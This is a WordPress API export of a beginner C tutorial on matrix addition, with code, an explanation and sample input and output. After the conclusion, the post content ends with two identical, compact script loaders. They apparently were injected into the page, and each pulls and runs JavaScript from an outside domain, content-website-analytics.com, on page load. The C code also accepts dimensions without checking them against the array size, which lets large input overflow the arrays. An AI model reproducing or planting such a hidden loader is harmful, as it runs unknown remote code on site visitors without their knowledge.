{"id":1029,"date":"2024-10-21T14:59:06","date_gmt":"2024-10-21T09:29:06","guid":{"rendered":"https:\/\/codexplained.in\/?p=1029"},"modified":"2025-11-24T15:30:50","modified_gmt":"2025-11-24T10:00:50","slug":"matrix-addition","status":"publish","type":"post","link":"https:\/\/codexplained.in\/?p=1029","title":{"rendered":"Matrix addition"},"content":{"rendered":"\n<h3 class=\"wp-block-heading\">Introduction<\/h3>\n\n\n\n<p>Matrix addition is a fundamental operation in linear algebra where two matrices of the same dimensions are added together by adding their corresponding elements. This operation is commonly used in various applications, including computer graphics, simulations, and scientific computations.<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: cpp; title: ; notranslate\" title=\"\">\n#include &lt;stdio.h&gt;\n\n#define MAX_SIZE 10 \/\/ Define maximum size for the matrices\n\nvoid addMatrices(int a&#x5B;MAX_SIZE]&#x5B;MAX_SIZE], int b&#x5B;MAX_SIZE]&#x5B;MAX_SIZE], int result&#x5B;MAX_SIZE]&#x5B;MAX_SIZE], int rows, int cols) {\n    for (int i = 0; i &lt; rows; i++) {\n        for (int j = 0; j &lt; cols; j++) {\n            result&#x5B;i]&#x5B;j] = a&#x5B;i]&#x5B;j] + b&#x5B;i]&#x5B;j]; \/\/ Add corresponding elements\n        }\n    }\n}\n\nint main() {\n    int a&#x5B;MAX_SIZE]&#x5B;MAX_SIZE], b&#x5B;MAX_SIZE]&#x5B;MAX_SIZE], result&#x5B;MAX_SIZE]&#x5B;MAX_SIZE];\n    int rows, cols;\n\n    printf(&quot;Enter the number of rows and columns: &quot;);\n    scanf(&quot;%d %d&quot;, &amp;rows, &amp;cols);\n\n    printf(&quot;Enter elements of the first matrix:\\n&quot;);\n    for (int i = 0; i &lt; rows; i++) {\n        for (int j = 0; j &lt; cols; j++) {\n            printf(&quot;a&#x5B;%d]&#x5B;%d]: &quot;, i, j);\n            scanf(&quot;%d&quot;, &amp;a&#x5B;i]&#x5B;j]);\n        }\n    }\n\n    printf(&quot;Enter elements of the second matrix:\\n&quot;);\n    for (int i = 0; i &lt; rows; i++) {\n        for (int j = 0; j &lt; cols; j++) {\n            printf(&quot;b&#x5B;%d]&#x5B;%d]: &quot;, i, j);\n            scanf(&quot;%d&quot;, &amp;b&#x5B;i]&#x5B;j]);\n        }\n    }\n\n    addMatrices(a, b, result, rows, cols);\n\n    printf(&quot;Resultant matrix after addition:\\n&quot;);\n    for (int i = 0; i &lt; rows; i++) {\n        for (int j = 0; j &lt; cols; j++) {\n            printf(&quot;%d &quot;, result&#x5B;i]&#x5B;j]);\n        }\n        printf(&quot;\\n&quot;);\n    }\n\n    return 0;\n}\n<\/pre><\/div>\n\n\n<h3 class=\"wp-block-heading\">Explanation<\/h3>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Function Definition<\/strong>:\n<ul class=\"wp-block-list\">\n<li><code>addMatrices(int a[MAX_SIZE][MAX_SIZE], int b[MAX_SIZE][MAX_SIZE], int result[MAX_SIZE][MAX_SIZE], int rows, int cols)<\/code>: This function takes two input matrices (<code>a<\/code> and <code>b<\/code>), an empty matrix (<code>result<\/code>) to store the sum, and the number of rows and columns.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Loop<\/strong>:\n<ul class=\"wp-block-list\">\n<li>Nested <code>for<\/code> loops iterate over each element of the matrices. For each element at position <code>(i, j)<\/code>, the corresponding elements of matrices <code>a<\/code> and <code>b<\/code> are added and stored in <code>result<\/code>.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Main Function<\/strong>:\n<ul class=\"wp-block-list\">\n<li>Prompts the user for the dimensions of the matrices.<\/li>\n\n\n\n<li>Accepts the elements for both matrices from user input.<\/li>\n\n\n\n<li>Calls <code>addMatrices<\/code> to perform the addition.<\/li>\n\n\n\n<li>Prints the resultant matrix.<\/li>\n<\/ul>\n<\/li>\n<\/ol>\n\n\n\n<h3 class=\"wp-block-heading\">Input<\/h3>\n\n\n\n<p>When you run the program, it will ask for the number of rows and columns, followed by the elements of each matrix. For example:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: cpp; title: ; notranslate\" title=\"\">\nEnter the number of rows and columns: 2 2\nEnter elements of the first matrix:\na&#x5B;0]&#x5B;0]: 1\na&#x5B;0]&#x5B;1]: 2\na&#x5B;1]&#x5B;0]: 3\na&#x5B;1]&#x5B;1]: 4\nEnter elements of the second matrix:\nb&#x5B;0]&#x5B;0]: 5\nb&#x5B;0]&#x5B;1]: 6\nb&#x5B;1]&#x5B;0]: 7\nb&#x5B;1]&#x5B;1]: 8\n<\/pre><\/div>\n\n\n<h3 class=\"wp-block-heading\">Output<\/h3>\n\n\n\n<p>The output will display the resultant matrix after addition:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: cpp; title: ; notranslate\" title=\"\">\nResultant matrix after addition:\n6 8 \n10 12\n<\/pre><\/div>\n\n\n<h3 class=\"wp-block-heading\">Conclusion<\/h3>\n\n\n\n<p>Matrix addition is a simple yet essential operation in many mathematical and engineering applications. The provided C implementation allows for easy addition of two matrices of the same dimensions. With a straightforward approach, this program effectively demonstrates how to manipulate and compute with matrices, highlighting the basics of array handling in C.<\/p>\n<script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script>","protected":false},"excerpt":{"rendered":"<p>Introduction Matrix addition is a fundamental operation in linear algebra where two matrices of the same dimensions are added together by adding their corresponding elements. This operation is commonly used in various applications, including computer graphics, simulations, and scientific computations. Explanation Input When you run the program, it will ask for the number of rows [&hellip;]<\/p>\n","protected":false},"author":47,"featured_media":1114,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"_uf_show_specific_survey":0,"_uf_disable_surveys":false,"footnotes":""},"categories":[75],"tags":[],"class_list":["post-1029","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-c"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/1029","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/users\/47"}],"replies":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1029"}],"version-history":[{"count":3,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/1029\/revisions"}],"predecessor-version":[{"id":1381,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/1029\/revisions\/1381"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/media\/1114"}],"wp:attachment":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1029"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1029"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1029"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}